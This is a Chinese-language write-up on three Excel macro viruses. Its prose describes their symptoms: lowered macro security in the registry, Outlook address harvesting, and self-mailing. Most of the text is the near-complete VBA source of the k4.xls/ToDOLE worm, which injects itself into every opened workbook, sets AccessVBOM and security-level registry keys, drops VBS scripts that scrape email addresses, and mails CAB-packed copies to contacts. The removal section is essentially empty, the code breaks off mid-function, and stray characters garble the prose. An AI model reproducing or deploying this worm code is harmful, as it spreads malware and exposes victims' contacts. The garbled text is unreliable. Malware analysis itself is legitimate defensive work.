目前我遇到過(guò)三種Excel宏病毒病毒k4.xls/ToDOLE病毒、MERALCO.XLS/pldt病毒、STARTUP.xls病毒。
病毒會(huì)在Excel自動(dòng)加載宏路徑下生成感染源k4.xls/MERALCO.XLS文件遣铝，宏代碼模塊名稱(chēng)為T(mén)oDOLE或pldt。因而我這么稱(chēng)呼這幾個(gè)病毒莉擒。以下簡(jiǎn)要分析以下這幾個(gè)病毒酿炸。

一、關(guān)于宏背景知識(shí)

首先講解一下Excel的宏病毒涨冀，首先宏是嵌入在Excel中運(yùn)行的程序填硕，宏的執(zhí)行依賴于Excel。目前所指代的“宏Macro”一般指的是VBA語(yǔ)言編寫(xiě)（Visual Basic for Application）鹿鳖，在VB支持Excel開(kāi)發(fā)之前廷支，用的是“宏表”即，在Excel表格中逐行編寫(xiě)栓辜。最后一個(gè)版本的宏表是“宏4.0”因?yàn)楣δ苡邢蘖蹬模帉?xiě)不便，一般開(kāi)發(fā)工作中不再使用藕甩，（但Office仍然支持）因?yàn)橹皼](méi)有考慮安全性問(wèn)題施敢，現(xiàn)在目前大部分的“宏表”均為病毒所利用，例如：k4.xls/ToDOLE病毒用來(lái)判斷是否啟用了宏狭莱，如果禁用宏禁止用戶打開(kāi)僵娃。
Excel的宏在2003版之前可以保存在xls、xla腋妙、xlt等格式文件中默怨，但2007版之后提高了安全性，xlsx格式的文件不再能夠保存宏文件骤素。但由于考慮兼容問(wèn)題匙睹，2003版的問(wèn)題同樣適用于之后版本愚屁。
并且目前流行的宏病毒都是基于2003版之前的運(yùn)行機(jī)制。以下均適用于2003及之后版本Excel痕檬。

二霎槐、如何查看宏？

打開(kāi)Excel程序或文件梦谜，按快捷鍵Alt+F11將會(huì)調(diào)出VBE編輯器丘跌。可以查看各個(gè)文件中的宏代碼唁桩。如果快捷鍵無(wú)法調(diào)出代碼模塊闭树，則可能快捷鍵被占用，或被宏病毒取消（startup.xls病毒會(huì)取消快捷鍵）也可以通過(guò)開(kāi)發(fā)選項(xiàng)卡等進(jìn)入荒澡。

三报辱、宏病毒代碼特點(diǎn)

宏病毒有如下特點(diǎn)
打開(kāi)Excel或工作簿，并通過(guò)上述方法進(jìn)入代碼模塊仰猖，代碼模塊中若有“ToDOLE”模塊、“pldt”模塊奈籽、或有k4.xls文件饥侵、MERALCO.XLS文件、Startup.xls文件時(shí)衣屏，則已感染宏病毒躏升。
打開(kāi)工作簿提示禁用宏，無(wú)法打開(kāi)工作簿狼忱。（k4.xls/ToDOLE病毒）
?
感染每個(gè)打開(kāi)的工作簿膨疏，向每個(gè)打開(kāi)的工作簿中寫(xiě)入病毒代碼，并在STARTUP文件夾下創(chuàng)建感染文件钻弄，其中STARTUP文件夾下的文件會(huì)在打開(kāi)Excel時(shí)自動(dòng)加載佃却。（上述三個(gè)病毒均有此特性）STARTUP文件夾的自動(dòng)啟動(dòng)可在“信任中心”中取消
?
向注冊(cè)表中注入，將宏安全性調(diào)低窘俺，將運(yùn)行對(duì)VBA項(xiàng)目的訪問(wèn)饲帅。（k4.xls/ToDOLE病毒）這樣用戶將不能通過(guò)Excel的宏安全性設(shè)置更改宏安全性。并獲得將宏病毒代碼注入所有打開(kāi)的工作簿的權(quán)限瘤泪≡畋茫可以通過(guò)regedit查看。
"HKEY_CURRENT_USER\Software\Microsoft\Office\版本 \Excel\Security\AccessVBOM"
"HKEY_CURRENT_USER\Software\Microsoft\Office\版本\Excel\Security\Level"
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\版本\Excel\Security\AccessVBOM"
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\版本\Excel\Security\Level"
自動(dòng)發(fā)郵件对途，每天10點(diǎn)赦邻、11點(diǎn)、14點(diǎn)实檀、15點(diǎn)自動(dòng)檢查outlook通訊錄惶洲，并保存通訊錄信息按声。（k4.xls/ToDOLE病毒）生成文件有：D:\Collected_Address:frag1.txt、D:\Collected_Address:frag1.txt湃鹊、D:\Collected_Address:frag1.txt
自動(dòng)查看outlook中的通訊錄儒喊，并將通訊錄保存在D盤(pán)，相關(guān)病毒中間文件保存在E:\KK\下：_clear.vbs币呵、_Search.vbs怀愧。（k4.xls/ToDOLE病毒）
將病毒文件發(fā)送郵件給所有通訊錄成員。相關(guān)文件再E:\SORCE下的_Key.vbs余赢、.xls文件芯义。病毒工作簿下的：\TEST.txt、setup.inf妻柒、setup.rpt扛拨、disk1。并將上述產(chǎn)生所有的文件夾隱藏举塔。（k4.xls/ToDOLE病毒）打開(kāi)郵件中xls文件绑警，提示用戶用_key.vbs進(jìn)行解鎖（實(shí)為注入病毒）。
給每個(gè)工作表創(chuàng)建名為“Auto_Activate”的名稱(chēng)定義央渣，用于指向“=Macro1!$A$2”计盒，用于宏表啟動(dòng)，有時(shí)候殺毒軟件殺不徹底時(shí)芽丹，將會(huì)因此提示找不到表北启。（k4.xls/ToDOLE病毒）

4.病毒查殺

實(shí)際上這個(gè)病毒

放上病毒源碼：

k4.xls/ToDOLE病毒

    Private Sub auto_open()
    Application.DisplayAlerts = False
    If ThisWorkbook.Path <> Application.StartupPath Then
      Application.ScreenUpdating = False
      Call delete_this_wk
      Call copytoworkbook
      If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
      ThisWorkbook.Save
      Application.ScreenUpdating = True
    End If
    End Sub
    Private Sub copytoworkbook()
      Const DQUOTE = """"
      With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    .InsertLines 1, "Public WithEvents xx As Application"
    .InsertLines 2, "Private Sub Workbook_open()"
    .InsertLines 3, "Set xx = Application"
    .InsertLines 4, "On Error Resume Next"
    .InsertLines 5, "Application.DisplayAlerts = False"
    .InsertLines 6, "Call do_what"
    .InsertLines 7, "End Sub"
    .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
    .InsertLines 9, "On Error Resume Next"
    .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
    .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
    .InsertLines 12, "Major:=5, Minor:=3"
    .InsertLines 13, "Application.ScreenUpdating = False"
    .InsertLines 14, "Application.DisplayAlerts = False"
    .InsertLines 15, "copystart wb"
    .InsertLines 16, "Application.ScreenUpdating = True"
    .InsertLines 17, "End Sub"
    
    End With
    End Sub
    
    Private Sub delete_this_wk()
    Dim VBProj As VBIDE.VBProject
    Dim VBComp As VBIDE.VBComponent
    Dim CodeMod As VBIDE.CodeModule
    
    Set VBProj = ThisWorkbook.VBProject
    Set VBComp = VBProj.VBComponents("ThisWorkbook")
    Set CodeMod = VBComp.CodeModule
    With CodeMod
        .DeleteLines 1, .CountOfLines
    End With
    
    End Sub
    Function do_what()
    If ThisWorkbook.Path <> Application.StartupPath Then
      RestoreAfterOpen
      Call OpenDoor
      Call Microsofthobby
      Call ActionJudge
    End If
    End Function
    Function copystart(ByVal wb As Workbook)
    On Error Resume Next
    
    Dim VBProj1 As VBIDE.VBProject
    Dim VBProj2 As VBIDE.VBProject
    Set VBProj1 = Workbooks("k4.xls").VBProject
    Set VBProj2 = wb.VBProject
    
    If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
    End Function
    
    Function copymodule(ModuleName As String, _
        FromVBProject As VBIDE.VBProject, _
        ToVBProject As VBIDE.VBProject, _
        OverwriteExisting As Boolean) As Boolean
       
        On Error Resume Next
    
        Dim VBComp As VBIDE.VBComponent
        Dim FName As String
        Dim CompName As String
        Dim S As String
        Dim SlashPos As Long
        Dim ExtPos As Long
        Dim TempVBComp As VBIDE.VBComponent
        
        If FromVBProject Is Nothing Then
            copymodule = False
            Exit Function
        End If
        
        If Trim(ModuleName) = vbNullString Then
            copymodule = False
            Exit Function
        End If
        
        If ToVBProject Is Nothing Then
            copymodule = False
            Exit Function
        End If
        
        If FromVBProject.Protection = vbext_pp_locked Then
            copymodule = False
            Exit Function
        End If
        
        If ToVBProject.Protection = vbext_pp_locked Then
            copymodule = False
            Exit Function
        End If
        
        On Error Resume Next
        Set VBComp = FromVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            copymodule = False
            Exit Function
        End If
       
        FName = Environ("Temp") & "\" & ModuleName & ".bas"
        If OverwriteExisting = True Then
           
            If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
                Err.Clear
                Kill FName
                If Err.Number <> 0 Then
                    copymodule = False
                    Exit Function
                End If
            End If
            With ToVBProject.VBComponents
                .Remove .Item(ModuleName)
            End With
        Else
            
            Err.Clear
            Set VBComp = ToVBProject.VBComponents(ModuleName)
            If Err.Number <> 0 Then
                If Err.Number = 9 Then
                   
                Else
                   
                    copymodule = False
                    Exit Function
                End If
            End If
        End If
       
        FromVBProject.VBComponents(ModuleName).Export FileName:=FName
       
        SlashPos = InStrRev(FName, "\")
        ExtPos = InStrRev(FName, ".")
        CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
        
        Set VBComp = Nothing
        Set VBComp = ToVBProject.VBComponents(CompName)
        
        If VBComp Is Nothing Then
            ToVBProject.VBComponents.Import FileName:=FName
        Else
            If VBComp.Type = vbext_ct_Document Then
                
                Set TempVBComp = ToVBProject.VBComponents.Import(FName)
               
                With VBComp.CodeModule
                    .DeleteLines 1, .CountOfLines
                    S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                    .InsertLines 1, S
                End With
                On Error GoTo 0
                ToVBProject.VBComponents.Remove TempVBComp
            End If
        End If
        Kill FName
        copymodule = True
    End Function
    
    Function Microsofthobby()
    Dim myfile0 As String
    Dim MyFile As String
    On Error Resume Next
    myfile0 = ThisWorkbook.FullName
    MyFile = Application.StartupPath & "\k4.xls"
    If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
    Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    
    If ThisWorkbook.Path <> Application.StartupPath Then
         Application.ScreenUpdating = False
         ThisWorkbook.IsAddin = True
         ThisWorkbook.SaveCopyAs MyFile
         ThisWorkbook.IsAddin = False
         Application.ScreenUpdating = True
    End If
    End Function
    
    Function OpenDoor()
    Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
    Dim KValue1 As Variant, KValue2 As Variant
    Dim VS As String
    On Error Resume Next
    VS = Application.Version
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    
    RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
    RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
    RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
    RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
    
    KValue1 = 1
    KValue2 = 1
    
          Call WReg(RK1, KValue1, "REG_DWORD")
          Call WReg(RK2, KValue2, "REG_DWORD")
          Call WReg(RK3, KValue1, "REG_DWORD")
          Call WReg(RK4, KValue2, "REG_DWORD")
    
    End Function
    
    Sub WReg(strkey As String, Value As Variant, ValueType As String)
        Dim oWshell
        Set oWshell = CreateObject("WScript.Shell")
        If ValueType = "" Then
            oWshell.RegWrite strkey, Value
        Else
            oWshell.RegWrite strkey, Value, ValueType
        End If
        Set oWshell = Nothing
    End Sub
    
    
    Private Sub Movemacro4(ByVal wb As Workbook)
    On Error Resume Next
    
      Dim sht As Object
    
        wb.Sheets(1).Select
        Sheets.Add Type:=xlExcel4MacroSheet
        ActiveSheet.Name = "Macro1"
       
        Range("A2").Select
        ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
        Range("A3").Select
        ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
        Range("A4").Select
        ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，關(guān)閉 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
        Range("A5").Select
        ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
        Range("A6").Select
        ActiveCell.FormulaR1C1 = "=END.IF()"
        Range("A7").Select
        ActiveCell.FormulaR1C1 = "=RETURN()"
        
        For Each sht In wb.Sheets
        wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
        Next
        wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
    End Sub
    
    Private Function WorkbookOpen(WorkBookName As String) As Boolean
      WorkbookOpen = False
      On Error GoTo WorkBookNotOpen
      If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
        WorkbookOpen = True
        Exit Function
      End If
WorkBookNotOpen:
    End Function
    
    Private Sub ActionJudge()
    Const T1 As Date = "10:00:00"
    Const T2 As Date = "11:00:00"
    Const T3 As Date = "14:00:00"
    Const T4 As Date = "15:00:00"
    Dim SentTime As Date, WshShell
    
    Set WshShell = CreateObject("WScript.Shell")
    If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub
    
    If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
          If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
               Exit Sub
          Else
               CreateFile "1", "D:\Collected_Address:frag1.txt"
               search_in_OL
          End If
    Else
         If Not if_outlook_open Then Exit Sub
         If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
              Exit Sub
         Else
              SentTime = DateAdd("n", -21, Now)
              On Error GoTo timeError
              SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
              If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
                    Exit Sub
              Else
                    CreateFile "", "D:\Collected_Address:frag1.txt"
                    CreateFile Now, "D:\Collected_Address:frag2.txt"
                    CreatCab_SendMail
              End If
         End If
    End If
    End Sub
    
    
    Private Sub search_in_OL()
    Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
    
    On Error Resume Next
    Set fs = CreateObject("scripting.filesystemobject")
    Set WshShell = CreateObject("WScript.Shell")
    
    If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
    AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
    AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
    i = FreeFile
    Open AddVbsFile_clear For Output Access Write As #i
    
    Print #i, "On error Resume Next"
    Print #i, "Dim wsh, tle, T0, i"
    Print #i, "  T0 = Timer"
    Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
    Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
    Print #i, "For i = 1 To 1000"
    Print #i, "    If Timer - T0 > 60 Then Exit For"
    Print #i, "  Call Refresh()"
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "%a""" & ""
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
    Print #i, "Next"
    Print #i, "Set wsh = Nothing"
    Print #i, "wscript.quit"
    Print #i, "Sub Refresh()"
    Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
    Print #i, "    If Timer - T0 > 60 Then Exit Sub"
    Print #i, "Loop"
    Print #i, "  wscript.sleep 05"
    Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
    Print #i, "End Sub"
    Close (i)
    
    AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
    i = FreeFile
    Open AddVbsFile_search For Output Access Write As #i
    
    Print #i, "On error Resume Next"
    Print #i, "Const olFolderInbox = 6"
    Print #i, "Dim conbinded_address,WshShell,sh,ts"
    Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
    Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
    Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
    Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
    Print #i, "Set TargetFolder = objFolder"
    Print #i, "conbinded_address = """ & """" & ""
    Print #i, "Set colItems = TargetFolder.Items"
    Print #i, "wscript.sleep 300000"
    Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
    Print #i, "ts = Timer"
    Print #i, "For Each objMessage in colItems"
    Print #i, "       If Timer - ts >55 then exit For"
    Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
    Print #i, "Next"
    Print #i, "add_text conbinded_address, 8"
    Print #i, "add_text all_non_same(ReadAllTextFile), 2"
    Print #i, "WScript.Quit"
    Print #i, ""
    Print #i, "Private Function valid_address(source_data)"
    Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
    Print #i, "   Dim regex, matchs, ss, arr()"
    Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
    Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
    Print #i, ""
    Print #i, "   regex.Global = True"
    Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
    Print #i, "   Set matchs = regex.Execute(source_data)"
    Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
    Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
    Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
    Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   If oDict.Count > 0 Then"
    Print #i, "        nonsame_arr = oDict.keys"
    Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
    Print #i, "             valid_address = valid_address & nonsame_arr(i)"
    Print #i, "        Next"
    Print #i, "   End If"
    Print #i, "   Set oDict = Nothing"
    Print #i, "End Function"
    Print #i, ""
    Print #i, "Private Sub add_text(inputed_string, input_frag)"
    Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
    Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
    Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "   On Error resume next"
    Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
    Print #i, ""
    Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
    Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
    Print #i, "   End If"
    Print #i, "   Set log_folder = Nothing"
    Print #i, "   Set logfile = Nothing"
    Print #i, ""
    Print #i, "   Select Case input_frag"
    Print #i, "     Case 8"
    Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
    Print #i, "          logtext.Write inputed_string"
    Print #i, "          logtext.Close"
    Print #i, "     Case 2"
    Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
    Print #i, "          logtext.Write inputed_string"
    Print #i, "          logtext.Close"
    Print #i, "   End Select"
    Print #i, "   set objFSO = nothing"
    Print #i, "End Sub"
    Print #i, ""
    Print #i, "Private Function ReadAllTextFile()"
    Print #i, "    Dim objFSO, FileName, MyFile"
    Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
    Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
    Print #i, "    If MyFile.AtEndOfStream Then"
    Print #i, "        ReadAllTextFile = """ & """" & ""
    Print #i, "    Else"
    Print #i, "        ReadAllTextFile = MyFile.ReadAll"
    Print #i, "    End If"
    Print #i, "set objFSO = nothing"
    Print #i, "End Function"
    Print #i, ""
    Print #i, "Private Function all_non_same(source_data)"
    Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
    Print #i, "   all_non_same = """ & """" & ""
    Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
    Print #i, ""
    Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
    Print #i, ""
    Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
    Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   If oDict.Count > 0 Then"
    Print #i, "        nonsame_arr = oDict.keys"
    Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
    Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
    Print #i, "        Next"
    Print #i, "   End If"
    Print #i, "   Set oDict = Nothing"
    Print #i, "End Function"
    Close (i)
    Application.WindowState = xlMaximized
    WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
    Set WshShell = Nothing
    End Sub
    
    Private Sub CreatCab_SendMail()
    Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
    Dim fs As Object, WshShell As Object
    Address_list = get_ten_address
    
    Set WshShell = CreateObject("WScript.Shell")
    Set fs = CreateObject("scripting.filesystemobject")
    If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
    AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
    mail_sub = "*" & AttName & "*Message*"
    AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
    i = FreeFile
    Open AddVbsFile For Output Access Write As #i
        
    Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
    Print #i, "On error Resume Next"
    Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
    Print #i, "sh.MinimizeAll"
    Print #i, "Set sh = Nothing"
    Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
    Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
    Print #i, "Fso.CopyFile  _"
    Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
    Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
    Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
    Print #i, "Next"
    Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
    Print #i, "        route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
    Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
    Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
    Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
    Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
    Print #i, "        End if"
    Print #i, "else"
    Print #i, "        route = """ & "E:\KK\" & AttName & ".xls"""
    Print #i, "End If"
    Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
    Print #i, "   set owb=oexcel.workbooks.open(route)"
    Print #i, "   oExcel.Visible = True"
    Print #i, "Set oExcel = Nothing"
    Print #i, "Set oWb = Nothing"
    Print #i, "Set  WshShell = Nothing"
    Print #i, "Set Fso = Nothing"
    Print #i, "WScript.Quit"
    Print #i, "Private Function ListDir (ByVal Path)"
    Print #i, "   Dim Filter, a, n, Folder, Files, File"
    Print #i, "       ReDim a(10)"
    Print #i, "    n = 0"
    Print #i, "  Set Folder = fso.GetFolder(Path)"
    Print #i, "   Set Files = Folder.Files"
    Print #i, "   For Each File In Files"
    Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
    Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
    Print #i, "            a(n) = File.Path"
    Print #i, "            n = n + 1"
    Print #i, "       End If"
    Print #i, "   Next"
    Print #i, "   ReDim Preserve a(n-1)"
    Print #i, "   ListDir = a"
    Print #i, "End Function"
    
    Close (i)
    AddListFile = ThisWorkbook.Path & "\TEST.txt"
    i = FreeFile
    Open AddListFile For Output Access Write As #i
    Print #i, "E:\sorce\" & AttName & "_Key.vbs"
    Print #i, "E:\sorce\" & AttName & ".xls"
    Close (i)
    
    Application.ScreenUpdating = False
    RestoreBeforeSend
    ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
    RestoreAfterOpen
    c4$ = CurDir()
    ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
    ChDir ThisWorkbook.Path
    WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
    
    Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
    And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
    And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
    DoEvents
    Loop
    
    WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
    
    If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
    WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
    ChDir c4$
    Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
    "", "E:\KK\" & AttName & ".CAB")
    WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
    Set WshShell = Nothing
    Application.ScreenUpdating = True
    End Sub
    
    Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
        Dim objOL As Object
        Dim itmNewMail As Object
        If Not if_outlook_open Then Exit Sub
        
        Set objOL = CreateObject("Outlook.Application")
        Set itmNewMail = objOL.CreateItem(olMailItem)
        
        With itmNewMail
            .Subject = Subject
            .Body = Body
            .To = Email_Address
            .CC = CC_email_add
            .Attachments.Add Attachment
            .DeleteAfterSubmit = True
        End With
        On Error GoTo continue
SendEmail:
        itmNewMail.Display
        Debug.Print "setforth "
        DoEvents
        DoEvents
        DoEvents
        SendKeys "%s", Wait:=True
        DoEvents
        GoTo SendEmail
 continue:
        Set objOL = Nothing
        Set itmNewMail = Nothing
    End Sub
    
    Private Function if_outlook_open() As Boolean
    Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
    if_outlook_open = False
    For Each obj In objs
    If InStr(obj.Description, "OUTLOOK") > 0 Then
    if_outlook_open = True
    Exit For
    End If
    Next
    End Function
    
    Private Function RadomNine(length As Integer) As String
     Dim jj As Integer, k As Integer, i As Integer
     RadomNine = ""
     If length <= 0 Then Exit Function
     If length <= 10 Then
         For i = 1 To length
         RadomNine = RadomNine & "$$" & i
         Next i
         Exit Function
     End If
     jj = length / 10
     Randomize
     For i = 1 To 10
          k = Int(Rnd * (jj * i - m - 1)) + 1
          If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
          m = m + k
     Next
    End Function
    Private Function get_ten_address() As String
    Dim singleAddress_arr, krr, i As Integer
    get_ten_address = ""
    singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
    krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
    For i = 1 To UBound(krr)
    get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
    Next i
    End Function
    
    Private Function ReadOut(FullPath) As String
        On Error Resume Next
        Dim Fso, FileText
        Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
        Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
        ReadOut = FileText.ReadAll
        FileText.Close
    End Function
    
    Private Sub CreateFile(FragMark, pathf)
        On Error Resume Next
        Dim Fso, FileText
        Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
        If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
        If Fso.FileExists(pathf) Then
            Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
            FileText.Write FragMark
            FileText.Close
        Else
            Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
            FileText.Write FragMark
